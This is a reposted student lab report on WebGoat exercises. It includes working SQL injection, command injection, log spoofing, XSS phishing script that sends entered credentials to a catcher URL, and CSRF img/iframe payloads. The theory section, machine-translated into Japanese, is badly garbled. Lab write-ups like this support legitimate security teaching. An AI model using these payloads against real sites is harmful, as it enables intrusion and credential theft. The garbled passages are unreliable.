ネットワーク技術に対する2018-2019-2 20165301経験9 Webセキュリティインフラストラクチャ

ネットワーク技術に対する2018-2019-2 20165301経験9 Webセキュリティインフラストラクチャ

基本的な質問には答え

  • 1.SQLインジェクション攻撃の原則、どのように守るために?

    • SQLインジェクションは、SQLコマンドが提出したWebフォームに挿入されたか、ドメイン名またはページリクエストクエリ文字列を入力して、最終的には悪質なSQLコマンドを実行するサーバーを欺くされています。
    • SQLインジェクション攻撃に使用されたSQLインジェクション攻撃の主な理由は、動的に生成されたSQL文を成功することを確認するために、設計、操作のSQLターゲット・サーバー上の文だけでなく、攻撃の他の手段の抜け穴を利用するユーザー入力データを意味しません。以下のような: - 実際に表示用のログイン情報を決して実現スタイルを使用して、閉鎖、コメントセクションのSQL文を達成するために、#、およびその他の特殊文字、引用符、ユーザー名、パスワード入力ボックス、登録番号」を入力します。
    • 防衛は:オフにしたり、削除、不要なインタラクティブフォームのページを提出し、
      注入点コードフィルタキーワードに関連する脆弱性を(例えば:正規表現を使用する)コードのセキュリティを標準化する;
      ことを避けるために、サーバー側でバックアップファイルを置かないでください感染、またはバックアップファイルが出発点を引き起こし、抜け穴が含まれています。
      それは特別な意味を持たないように、データベースの内容が暗号化されています。
  • 原理2.XSS攻撃、どのように守るために?
    • 原則:XSS:クロスサイトスクリプティング。脆弱性のサイトを攻撃者(通常はこれらの脆弱性のサイトには、ユーザーの入力をフィルタリングするために十分スプーラではないこと)、入力ページに表示することができ、HTMLコードの他のユーザーへの影響;によるターゲットへの犠牲者のブラウザに信頼されたサーバーでは、ターゲットサーバへのアクセスは、悪意のあるスクリプトを挿入する場合:ページをこの悪意のあるスクリプトの(HTMLタグやJavaScriptコードなど)が正常に実装することができ、ユーザーのクッキーを得る目的を達成し、不正な操作のためのユーザーIDを利用することができます。
    • 防衛:
      • ユーザーの視点:ユーザー名やパスワードなどの個人情報を、入力しないでください、意識を高めます。
      • Web作成者は、視点:
        • そしてURLは入力パラメータをフィルタリング
        • 出力データの前に潜在的な脅威の文字をエンコードするために、エスケープ
  • 3.CSRF攻撃、どのように守るために?
    • 原理:
      • CSRF:クロスサイトリクエストフォージェリ。
      • CSRFは、偽のログインです。現在の状況のセッションは、被害者の特定のアカウントとパスワードを気にしないクッキー攻撃の存在下での主流であるため、ユーザのログイン後、ユーザーはセッションであるため、クロスサイト偽造要求の核心は、ユーザーセッション、またはクッキーを盗みます唯一の証拠は、限り、攻撃者はセッションを得ることができるように、サーバーに被害者を装っすることができます。
      • Aは、検証後に、サイトAは、Cookie情報を生成して返すサイトにアクセスする際に主にユーザー名とパスワードを入力し、この時点で成功したウェブサイトをウェブサイトを訪問し、通常はAにリクエストを送信することができます 出口部位は、別のアクセス、Bではない前に、サイトBはサイトAに、いくつかの攻撃コードと要求へのアクセスを返すことがあるため、サイトBの要求に応じて、要求元のサイトAへ Webサイトが、要求が悪質であるかわからないので、それは悪質なコードを実行します
    • 防衛:
      • トークン認証要求
      • リファラーを確認
      • プラスランダム検証を追加
      • Cookieドメインを設定します

実践記録

インストールWebgoat

  • インストールパッケージをダウンロードします
  • 使用がnetstat -tupln | grep 8080占められている場合、ポートビューを占有キル・プロセスはプロセス番号8080のポートを終端で占められています。
  • 通常のインストール、コマンドライン入力java -jar webgoat-container-7.0.1-war-exec.jar

  • クローム:localhost:8080/WebGoatデフォルトのユーザー名とパスワードを直接使用することは練習を開始、ログインします

SQLインジェクション攻撃

  • 、右クリックして、HTML形式で編集]を選択し、修正、追加「&netstatの-an&IPCONFIG」チェックボックスにソースコードを、任意のコード列を変更する要素のレビューページ要素を検査選択し、ページ上で右クリック

  • ビューをクリックすると、ネットワークポートの使用状況を見ることができますし、命令のIPアドレスが実行されます。攻撃が成功!

デジタル型インプラント(数値SQLインジェクション)

  • コンセプト:注射の数値データ(例:決して本当に式)注射の効果を達成します。

  • 原理:駅分野における射出機能文字、新しいSQL文にまとめます。
    例えば:* weather_data FROM WHERE局= SELECT [ステーション]

  • 目的:この例では、SQLインジェクションの文字列を使用して、すべての気象データを表示します。

  • 操作の方法:

    • 数値値で選択された都市では、ソースコードを変更する要素のレビューページ要素を検査選択し、ページ上で右クリックして追加したり、1 = 1
  • 気象条件は、すべての都市を表示し、攻撃が成功します!

欺くログ(ログスプーフィング)

  • コンセプト:ログファイルにスクリプトを挿入することにより達成欺きます。

  • 原理は:ログ・ファイル内の人間の目を欺くために、攻撃者は、ログに自分の痕跡をクリアするには、この方法を使用することができます

  • 対象:灰色の領域の内容を記録するには、Webサーバーのログを表し、私たちの目的は、ユーザー名を使用することで、ログの「管理者」ユーザー「成功ログイン」です

  • 操作の方法:

    • キャリッジリターン(0D%)とラインフィード(%の0A)を使用して、ユーザ名を記入ctf%0d%0aLogin Succeeded for username: admin

    • 攻撃者がログファイルに悪質なスクリプトを追加するには、この方法を悪用する可能性があり、スクリプトは、情報管理者はブラウザを介して見ることができ返します。たとえば、admin <script>alert(document.cookie)</script>ユーザ名の入力には、クッキー情報のポップアップを見ることができます

SQLインジェクション(LAB:SQLインジェクション)

  • ステージ1:インジェクション文字列(ステージ1:文字列のSQLインジェクション)
  • 原則:文字列を注入することにより、バイパス認証

  • 操作の方法:

    - 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。

    • ユーザーネヴィル(認める)ログイン、パスワードhello' or '1' = '1
  • ステージ3:数値のSQLインジェクション(ステージ3:数値SQLインジェクション)
  • 原理:通常の従業員のアカウントで、認証をバイパスし、数値データを注入することにより、BOSSのユーザー情報を表示します。

  • 操作の方法:

    • ユーザー名ラリー、ラリー・クリックのログインパスワードでログオン、ViewProfileは、ユーザーの情報を表示する]をクリック

  • 右クリックして、ページ上のページ要素は、要素はソースコードを確認検査を選択し、我々はおそらく、それが最初のクエリデータへのたびに返され、データベースのインデックスは、従業員のIDに基づいていることがわかります。

  • 最高賃金であるべきであるソーシャルエンジニアリングボスによって説明ので、従業員IDの値は、給与DESCによって101または1 = 1順序に変更されたデータの最初のクエリとして情報の所有者ように。
  • 攻撃が成功

文字列の注入(文字列SQLインジェクション)

  • コンセプト:注入することにより、文字列のバイパス認証

  • 原則:次のクエリに基づいて、独自のSQLインジェクションの文字列を構築します。

SELECT * FROM user_data WHERE last_name = '?'

  • 目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

  • 操作方法:

    • 输入查询的用户名Smith' or 1=1--(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
    • 得到所有用户的信用卡号码,攻击成功!

数据库后门(Database Backdoors)

  • 原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。

  • 目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。

  • 操作方法:

    • 输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入

    • 输入注入语句101; update employee set salary=18000执行两个语句

    • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid
      • BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
      • FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

  • 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。

  • 操作方法:

    • 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

    • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

    • 例如:输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效

    • 输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

    • 针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

字符串型盲注入(Blind String SQL Injection)

  • 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

  • 目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。

  • 操作方法:

    • 与数字型盲注入类似,只是将注入的数字换为字符串而已
    • 例如:输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小
    • SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
    • 同样使用二分法进行测试,最后得到pin字段为Jill

XSS攻击(Cross‐Site Scripting)

跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

XSS 钓鱼(Phishing with XSS)
(1) Phishing with XSS 跨站脚本钓鱼攻击
  • 点击Cross-Site Scripting (XSS) Phishing with XSS

  • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
    • 受害人填写一个表格;
    • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

  • 编写一个带用户名和密码输入框的表格

//脚本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

存储型XSS攻击(Stored XSS Attacks)

  • 在title中任意输入字符,留言板中输入<script>alert("I am 20165301ctf. You've been attacked!!!");</script>

反射型XSS攻击(Reflected XSS Attacks)

  • 输入代码<script>alert("You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈

CSRF攻击

跨站请求伪造(Cross Site Request Forgery (CSRF))
  • 查看页面右侧Parameters中的src和menu值,分别为267和900
  • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
  • 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。
绕过 CSRF 确认( CSRF Prompt By‐Pass)
  • 查看页面右侧Parameters中的src和menu值分别为270和900
    并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。

实验总结与体会

实验内容好多啊。。。webgoat真厉害

おすすめ

転載: www.cnblogs.com/CTF5301/p/10927194.html